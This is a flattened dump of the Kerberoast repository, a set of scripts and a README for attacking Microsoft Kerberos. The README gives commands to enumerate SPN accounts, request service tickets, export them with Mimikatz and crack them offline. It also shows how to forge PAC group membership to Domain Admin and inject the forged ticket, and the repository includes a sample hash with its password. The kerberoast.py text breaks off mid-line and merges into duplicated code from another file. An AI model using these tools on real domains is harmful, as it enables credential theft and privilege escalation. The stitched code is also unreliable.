├── GetUserSPNs.ps1 ├── GetUserSPNs.vbs ├── LICENSE ├── README.md ├── examples ├── MSSQLSvc-sql01.medin.local.kirbi ├── README.md └── john-hashcat-crackfile.txt ├── extracttgsrepfrompcap.py ├── kerberoast.py ├── kerberos.py ├── kirbi2john.py ├── krbroast-pcap2hashcat.py ├── pac.py └── tgsrepcrack.py /GetUserSPNs.ps1: -------------------------------------------------------------------------------- 1 | # Edits by Tim Medin 2 | # File: GetUserSPNS.ps1 3 | # Contents: Query the domain to find SPNs that use User accounts 4 | # Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast 5 | # The password hash used with Computer accounts are infeasible to 6 | # crack; however, if the User account associated with an SPN may have 7 | # a crackable password. This tool will find those accounts. You do not 8 | # need any special local or domain permissions to run this script. 9 | # This script on a script supplied by Microsoft (details below). 10 | # History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames 11 | # 2016/04/12 Tim Medin Added -Request option to automatically get the tickets 12 | # 2014/11/12 Tim Medin Created 13 | 14 | [CmdletBinding()] 15 | Param( 16 | [Parameter(Mandatory=$False,Position=1)] [string]$GCName, 17 | [Parameter(Mandatory=$False)] [string]$Filter, 18 | [Parameter(Mandatory=$False)] [switch]$Request, 19 | [Parameter(Mandatory=$False)] [switch]$UniqueAccounts 20 | ) 21 | 22 | Add-Type -AssemblyName System.IdentityModel 23 | 24 | $GCs = @() 25 | 26 | If ($GCName) { 27 | $GCs += $GCName 28 | } else { # find them 29 | $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 30 | $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() 31 | ForEach ($GC in $CurrentGCs) { 32 | #$GCs += $GC.Name 33 | $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain 34 | } 35 | } 36 | 37 | if (-not $GCs) { 38 | # no Global Catalogs Found 39 | Write-Host "No Global Catalogs Found!" 40 | Exit 41 | } 42 | 43 | <# 44 | Things you can extract 45 | Name Value 46 | ---- ----- 47 | admincount {1} 48 | samaccountname {sqlengine} 49 | useraccountcontrol {66048} 50 | primarygroupid {513} 51 | userprincipalname {sqlengine@medin.local} 52 | instancetype {4} 53 | displayname {sqlengine} 54 | pwdlastset {130410454241766739} 55 | memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local} 56 | samaccounttype {805306368} 57 | serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local} 58 | usnchanged {135252} 59 | lastlogon {130563243107145358} 60 | accountexpires {9223372036854775807} 61 | logoncount {34} 62 | adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local} 63 | distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local} 64 | badpwdcount {0} 65 | codepage {0} 66 | name {sqlengine} 67 | whenchanged {9/22/2014 6:45:21 AM} 68 | badpasswordtime {0} 69 | dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,... 70 | lastlogontimestamp {130558419213902030} 71 | lastlogoff {0} 72 | objectclass {top, person, organizationalPerson, user} 73 | countrycode {0} 74 | cn {sqlengine} 75 | whencreated {4/4/2014 12:37:04 AM} 76 | objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17... 77 | objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102} 78 | objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local} 79 | usncreated {57551} 80 | #> 81 | 82 | ForEach ($GC in $GCs) { 83 | $searcher = New-Object System.DirectoryServices.DirectorySearcher 84 | $searcher.SearchRoot = "LDAP://" + $GC 85 | $searcher.PageSize = 1000 86 | $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" 87 | $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null 88 | $searcher.PropertiesToLoad.Add("name") | Out-Null 89 | $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null 90 | #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null 91 | #$searcher.PropertiesToLoad.Add("displayname") | Out-Null 92 | $searcher.PropertiesToLoad.Add("memberof") | Out-Null 93 | $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null 94 | #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null 95 | 96 | $searcher.SearchScope = "Subtree" 97 | 98 | $results = $searcher.FindAll() 99 | 100 | [System.Collections.ArrayList]$accounts = @() 101 | 102 | foreach ($result in $results) { 103 | foreach ($spn in $result.Properties["serviceprincipalname"]) { 104 | $o = Select-Object -InputObject $result -Property ` 105 | @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` 106 | @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` 107 | #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` 108 | @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` 109 | #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` 110 | @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` 111 | @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` 112 | #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } 113 | if ($UniqueAccounts) { 114 | if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { 115 | $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null 116 | $o 117 | if ($Request) { 118 | New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null 119 | } 120 | } 121 | } else { 122 | $o 123 | if ($Request) { 124 | New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null 125 | } 126 | } 127 | } 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /GetUserSPNs.vbs: -------------------------------------------------------------------------------- 1 | ' Edits by Tim Medin 2 | ' File: GetUserSPNS.vbs 3 | ' Contents: Query the domain to find SPNs that use User accounts 4 | ' Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast 5 | ' The password hash used with Computer accounts are infeasible to 6 | ' crack; however, if the User account associated with an SPN may have 7 | ' a crackable password. This tool will find those accounts. You do not 8 | ' need any special local or domain permissions to run this script. 9 | ' This script on a script supplied by Microsoft (details below). 10 | ' History: 2014/11/12 Tim Medin Created 11 | ' 12 | ' Original Script Details: 13 | ' Copyright (c) Microsoft Corporation 2004 - 14 | ' File: querySpn.vbs 15 | ' Contents: Query a given SPN in a given forest to find the owners 16 | ' History: 7/7/2004 Craig Wiand Created 17 | 18 | Option Explicit 19 | Dim oConnection, oCmd, oRecordSet 20 | Dim oGC, oNSP 21 | Dim strGCPath, strClass, strADOQuery 22 | Dim vObjClass, vSPNs, vName 23 | 24 | ParseCommandLine() 25 | 26 | '--- Set up the connection --- 27 | Set oConnection = CreateObject("ADODB.Connection") 28 | Set oCmd = CReateObject("ADODB.Command") 29 | oConnection.Provider = "ADsDSOObject" 30 | oConnection.Open "ADs Provider" 31 | Set oCmd.ActiveConnection = oConnection 32 | oCmd.Properties("Page Size") = 1000 33 | 34 | '--- Build the query string --- 35 | strADOQuery = "<" + strGCPath + ">;(&(!objectClass=computer)(servicePrincipalName=*));" & _ 36 | "dnsHostName,distinguishedName,servicePrincipalName,objectClass," & _ 37 | "samAccountName;subtree" 38 | oCmd.CommandText = strADOQuery 39 | 40 | '--- Execute the query for the object in the directory --- 41 | Set oRecordSet = oCmd.Execute 42 | If oRecordSet.EOF and oRecordSet.Bof Then 43 | Wscript.Echo "No SPNs found!" 44 | Wscript.Quit 0 45 | End If 46 | 47 | While Not oRecordset.Eof 48 | Wscript.Echo oRecordset.Fields("distinguishedName") 49 | 'vObjClass = oRecordset.Fields("objectClass") 50 | 'strClass = vObjClass( UBound(vObjClass) ) 51 | 'Wscript.Echo "Class: " & strClass 52 | If UCase(strClass) = "COMPUTER" Then 53 | Wscript.Echo "Computer DNS: " & oRecordset.Fields("dnsHostName") 54 | Else 55 | Wscript.Echo "User Logon: " & oRecordset.Fields("samAccountName") 56 | End If 57 | 58 | '--- Display the SPNs on the object --- 59 | vSPNs = oRecordset.Fields("servicePrincipalName") 60 | For Each vName in vSPNs 61 | Wscript.Echo "-- " + vName 62 | Next 63 | Wscript.Echo 64 | oRecordset.MoveNext 65 | Wend 66 | 67 | oRecordset.Close 68 | oConnection.Close 69 | 70 | Sub ShowUsage() 71 | Wscript.Echo " USAGE: " & WScript.ScriptName & " SpnToFind [GC Servername or Forestname]" 72 | Wscript.Echo 73 | Wscript.Echo " " & WScript.ScriptName 74 | Wscript.Echo " " & WScript.ScriptName & " Corp.com" 75 | Wscript.Quit 0 76 | End Sub 77 | 78 | Sub ParseCommandLine() 79 | If WScript.Arguments.Count = 1 Then 80 | If WScript.Arguments(0) = "-h" Or WScript.Arguments(0) = "--help" Or WScript.Arguments(0) = "-?" Or WScript.Arguments(0) = "/?" Then 81 | ShowUsage() 82 | Else 83 | strGCPath = "GC://" & WScript.Arguments(1) 84 | End If 85 | ElseIf WScript.Arguments.Count = 0 Then 86 | ' Set the GC 87 | Set oNSP = GetObject("GC:") 88 | For Each oGC in oNSP 89 | strGCPath = oGC.ADsPath 90 | Next 91 | Else 92 | ShowUsage() 93 | End If 94 | 95 | End Sub -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | 203 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | kerberoast 2 | ========== 3 | 4 | Kerberoast is a series of tools for attacking MS Kerberos implementations. Below is a brief overview of what each tool does. 5 | 6 | Extract all accounts in use as SPN using built in MS tools 7 | ---------------------------------------------------------- 8 | ``` 9 | PS C:\> setspn -T medin -Q */* 10 | ``` 11 | 12 | Request Ticket(s) 13 | ----------------- 14 | One ticket: 15 | ``` 16 | PS C:\> Add-Type -AssemblyName System.IdentityModel 17 | PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local" 18 | ``` 19 | 20 | All the tickets 21 | ``` 22 | PS C:\> Add-Type -AssemblyName System.IdentityModel 23 | PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 24 | ``` 25 | 26 | Extract the acquired tickets from ram with Mimikatz 27 | --------------------------------------------------- 28 | ``` 29 | mimikatz # kerberos::list /export 30 | ``` 31 | 32 | Crack with tgsrepcrack 33 | ---------------------- 34 | ``` 35 | ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 36 | ``` 37 | 38 | Rewrite 39 | ------- 40 | Make user appear to be a different user 41 | ``` 42 | ./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500 43 | ``` 44 | 45 | Add user to another group (in this case Domain Admin) 46 | ``` 47 | ./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512 48 | ``` 49 | Inject back into RAM with Mimikatz 50 | ---------------------------------- 51 | ``` 52 | kerberos::ptt sql.kirbi 53 | ``` 54 | -------------------------------------------------------------------------------- /examples/MSSQLSvc-sql01.medin.local.kirbi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nidem/kerberoast/cc5aa6e88279954fa506830a57e1d63da03dbecd/examples/MSSQLSvc-sql01.medin.local.kirbi -------------------------------------------------------------------------------- /examples/README.md: -------------------------------------------------------------------------------- 1 | Password for these tickets is: phoenix1 -------------------------------------------------------------------------------- /examples/john-hashcat-crackfile.txt: -------------------------------------------------------------------------------- 1 | $krb5tgs$23$*3-40a10000-tm@MSSQLSvc~sql01.medin.local~1433-MEDIN.LOCAL*$af6661cfa32b04770f32d452280e7da0$30e997a75550ff68c0acfa6ad03021423224f16fd4acbb47ea8bb124d9a0fc120f5dc6ade8a79dce3e00626e16631fcf116c20e7341e9e563186399c4951a7702f2e2a68141700f2d55a783044a13a2e45842c68678f7621eb89ecf2982dab77e3802399e57aa453f4efd3a8103e4c2ac9b6a6ec6887fa30a355ee0524613fcc61a4bc0de7dac5a36c25c252955cca4d79350d3e7c6f4042ff999c352f32ec739ee6eb65c10e667d283343c5e40d90c15ba6e861abcc7069f14232007a2ddd8a88d7713b1cff7daa7378247ced1f2c8a26dc85409bf4faff4f791c5259cc75479ee74e22d7e52782001941a8b2fd70d791ec37ea2244a99e7cffd12b579e8ea76809e1324c548e2e0492fcfa32248b5b3097c1ec5226dd9014c9cf041b3a20b18d14d863ab9f7d7dfe8a70356a43395d277861afb66971a46d86ae51de7c2f23436f16f3fd56a22111715717cada56047f51c0326e1dd0d9cb32a0df0d3481d1d234f2b9781243e81d36ad3d52eb0b1ba92f07996085624ca438b073bdbaece9f7edf029c2a5e3b2725c7aa1a1ef2a7aacf8d7012c6a543b00f08976c0ef3911721b12211ce895c3130ee0057768b370ac85a4504869a31d1585cd42773dfd4e4d35c7cb3e4d70cb245130307f3057c38daf6a501752ba50fabb82ccb1b52015b3f87b795bbd9548f67cf520193ddc0ebcbbca375041bc02644b18f788ce876e3d6140902db96a5f5ae6fbc7a01becc9039c2907a60bf9287d7b85dd38d4ff94068a04e081f11baa730faabbe5fcc85ba6d7427cf4295179e789922631102ab40024d0b68c6390ba828f07d6186eb0c583a93da07f2e69d28c743df7288e097f931843e70957d603d001272a42ab224c66040173018bfebfedc6d772524fa41ffafdbd2082bdf07188a0026d3e53e051c08b9c0eb21ccecbd3a5404eb82ae4656d2417da66e26cf416ca3b74e4134f07ecb0a1a509e0b2ac894eed6c2b05a00089de70b7db556160355b07c9bad845b82659f6c57932c1e2d97d2522f957bb9445253d5a252c1a8ca78700a2d676fb1aafa7938b03ba270030d4b80af6e413b12e7a975efbc7165a3635e3b543f00280c9434a46ddde306f6676e726a21a645dc070d9cfdaadbe6f0985fb61f3c49430350203b91a61ad44820bff4993f7d5cdc50fcc20904cbd00b3dd4ea49ae41cd85bcb9fe852fce6265b66cd52005b7389ef9954279725f992cc70aa8e3fdd30008f2b064e533f578e1c3d428c2c2fd5b641b6b3d11c05e3a768180347a3645941fdd5f064bbb2bb59e514ff3605d7bc268cc7e8fcf0fb0757c41cc5b64824c54ef917de42e62bdddb973e13f0b1b9bf3f5dbc3df9f88ab0168572d505bb0e179dbff3c53b4fb043b912b8a65a047f58c0c60bdf4f583ab96d 2 | -------------------------------------------------------------------------------- /extracttgsrepfrompcap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 -tt 2 | 3 | from scapy.all import * 4 | import struct 5 | 6 | MESSAGETYPEOFFSETUDP = 17 7 | MESSAGETYPEOFFSETTCP = 21 8 | DEBUG = True 9 | 10 | TGS_REP = 13 11 | 12 | def findkerbpayloads(packets, verbose=False): 13 | kploads = [] 14 | i = 1 15 | unfinished = {} 16 | for p in packets: 17 | # UDP 18 | if p.haslayer(UDP) and p.sport == 88 and p[UDP].load[MESSAGETYPEOFFSETUDP] == TGS_REP: 19 | if verbose: print("found UDP payload of size %i" % len(p[UDP].load)) 20 | kploads.append(p[UDP].load) 21 | 22 | #TCP 23 | elif p.haslayer(TCP) and p.sport == 88 and p[TCP].flags & 23== 16: #ACK Only, ignore push (8), urg (32), and ECE (64+128) 24 | # assumes that each TCP packet contains the full payload 25 | 26 | try: 27 | payload = p[TCP].load 28 | except: 29 | continue 30 | 31 | if len(payload) > MESSAGETYPEOFFSETTCP and payload[MESSAGETYPEOFFSETTCP] == TGS_REP: 32 | # found start of new TGS-REP 33 | size = struct.unpack(">I", payload[:4])[0] 34 | if size + 4 == len(payload): 35 | kploads.append(payload[4:size+4]) # strip the size field 36 | else: 37 | #print 'ERROR: Size is incorrect: %i vs %i' % (size, len(payload)) 38 | unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (payload[4:size+4], size) 39 | if verbose: print ("found TCP payload of size %i" % size) 40 | elif (p[IP].src, p[IP].dst, p[TCP].dport) in unfinished: 41 | ticketdata, size = unfinished.pop((p[IP].src, p[IP].dst, p[TCP].dport)) 42 | ticketdata += payload 43 | #print "cont: %i %i" % (len(ticketdata), size) 44 | if len(ticketdata) == size: 45 | kploads.append(ticketdata) 46 | elif len(ticketdata) < size: 47 | unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (ticketdata, size) 48 | else: 49 | # OH NO! Oversized! 50 | print('Too much data received! Source: %s Dest: %s DPort %i' % (p[IP].src, p[IP].dst, p[TCP].dport)) 51 | 52 | 53 | return kploads 54 | 55 | 56 | 57 | if __name__ == '__main__': 58 | import argparse 59 | 60 | parser = argparse.ArgumentParser(description='Find TGS_REP packets in a pcap file and write them for use cracking') 61 | parser.add_argument('-f', '--pcap', dest='pcaps', action='append', required=True, 62 | metavar='PCAPFILE', #type=file, #argparse.FileType('r'), 63 | help='a file to search for Kerberos TGS_REP packets') 64 | parser.add_argument('-w', '--outputfile', dest='outfile', action='store', required=True, 65 | metavar='OUTPUTFILE', type=argparse.FileType('w'), 66 | help='the output file') 67 | parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', default=False, 68 | help='display verbose messages') 69 | 70 | args = parser.parse_args() 71 | kploads = [] 72 | for f in args.pcaps: 73 | packets = rdpcap(f) 74 | kploads += findkerbpayloads(packets, args.verbose) 75 | if len(kploads) == 0: 76 | print('no payloads found') 77 | else: 78 | print('writing %i hex encoded payloads to %s' % (len(kploads), args.outfile.name)) 79 | for p in kploads: 80 | args.outfile.write(p.hex() + '\n') 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /kerberoast.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 -tt 2 | 3 | import kerberos 4 | from pyasn1.codec.ber import encoder, decoder 5 | from pyasn1.type import univ, useful 6 | import struct 7 | import datetime 8 | import re 9 | import pac 10 | 11 | 12 | def walk(t): 13 | if type(t) == str: 14 | print('String: %s' % t) 15 | else: 16 | print('Length: %i' % len(t)) 17 | for i in range(len(t)): 18 | print('---%i---' % i) 19 | print(t[i]) 20 | 21 | 22 | #Sequence().setComponentByPosition(0, BitString("'01000000101000010000000000000000'B")).setComponentByPosition(1, Sequence().setComponentByPosition(0, Integer(23)).setComponentByPosition(1, OctetString(hexValue='dfa121845d72f43271bbb33cd9e69443'))).setComponentByPosition(2, GeneralString('MEDIN.LOCAL')).setComponentByPosition(3, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, Sequence().setComponentByPosition(0, GeneralString('tm')))).setComponentByPosition(4, Sequence().setComponentByPosition(0, Integer(1)).setComponentByPosition(1, OctetString(''))).setComponentByPosition(5, GeneralizedTime('20140403172846Z')).setComponentByPosition(6, GeneralizedTime('20140403173119Z')) 23 | def updatetimestampsserverticket(ticket, authtime=None, starttime=None, endtime=None, renewtiltime=None): 24 | now = datetime.datetime.now() 25 | # yes, this regex isn't perfect, but neither are you 26 | if not authtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', authtime): 27 | authtime = now.strftime('%Y%m%d%H%M%SZ') 28 | if not starttime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', starttime): 29 | starttime = now.strftime('%Y%m%d%H%M%SZ') 30 | if not endtime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', endtime): 31 | endtime = (now + datetime.timedelta(hours=10)).strftime('%Y%m%d%H%M%SZ') 32 | if not renewtiltime or not re.match(r'^20\d\d[0-1]\d[0-3]\d[0-2]\d[0-6]\d[0-6]\dZ$', renewtiltime): 33 | renewtiltime = (now + datetime.timedelta(hours=24)).strftime('%Y%m%d%H%M%SZ') 34 | 35 | # Dear, pyasn1 36 | # Why do I have to use a _ method to update a value. You expect me to write 37 | # an entire spec, I don't want to. Because of this I HATE YOU. Please 38 | # DIAF 39 | # -Tim 40 | # P.S. Suck it 41 | ticket.getComponentByPosition(5)._value = str(useful.GeneralizedTime(authtime)) 42 | ticket.getComponentByPosition(6)._value = str(useful.GeneralizedTime(starttime)) 43 | ticket.getComponentByPosition(7)._value = str(useful.GeneralizedTime(endtime)) 44 | ticket.getComponentByPosition(8)._value = str(useful.GeneralizedTime(renewtiltime)) 45 | 46 | return ticket 47 | 48 | def addgrouptopac(pac, grouprid): 49 | version, numentries, pactype, pacsize, offset = struct.unpack(' MESSAGETYPEOFFSETTCP and payload[MESSAGETYPEOFFSETTCP] == TGS_REP: 35 | # found start of new TGS-REP 36 | size = struct.unpack(">I", payload[:4])[0] 37 | if size + 4 == len(payload): 38 | kploads.append(payload[4:size+4]) # strip the size field 39 | else: 40 | #print('ERROR: Size is incorrect: %i vs %i' % (size, len(payload))) 41 | unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (payload[4:size+4], size) 42 | if verbose: print("found TCP payload of size %i" % size) 43 | elif (p[IP].src, p[IP].dst, p[TCP].dport) in unfinished: 44 | ticketdata, size = unfinished.pop((p[IP].src, p[IP].dst, p[TCP].dport)) 45 | ticketdata += payload 46 | #print("cont: %i %i" % (len(ticketdata), size)) 47 | if len(ticketdata) == size: 48 | kploads.append(ticketdata) 49 | elif len(ticketdata) < size: 50 | unfinished[(p[IP].src, p[IP].dst, p[TCP].dport)] = (ticketdata, size) 51 | else: 52 | # OH NO! Oversized! 53 | print('Too much data received! Source: %s Dest: %s DPort %i' % (p[IP].src, p[IP].dst, p[TCP].dport)) 54 | 55 | 56 | return kploads 57 | 58 | 59 | 60 | 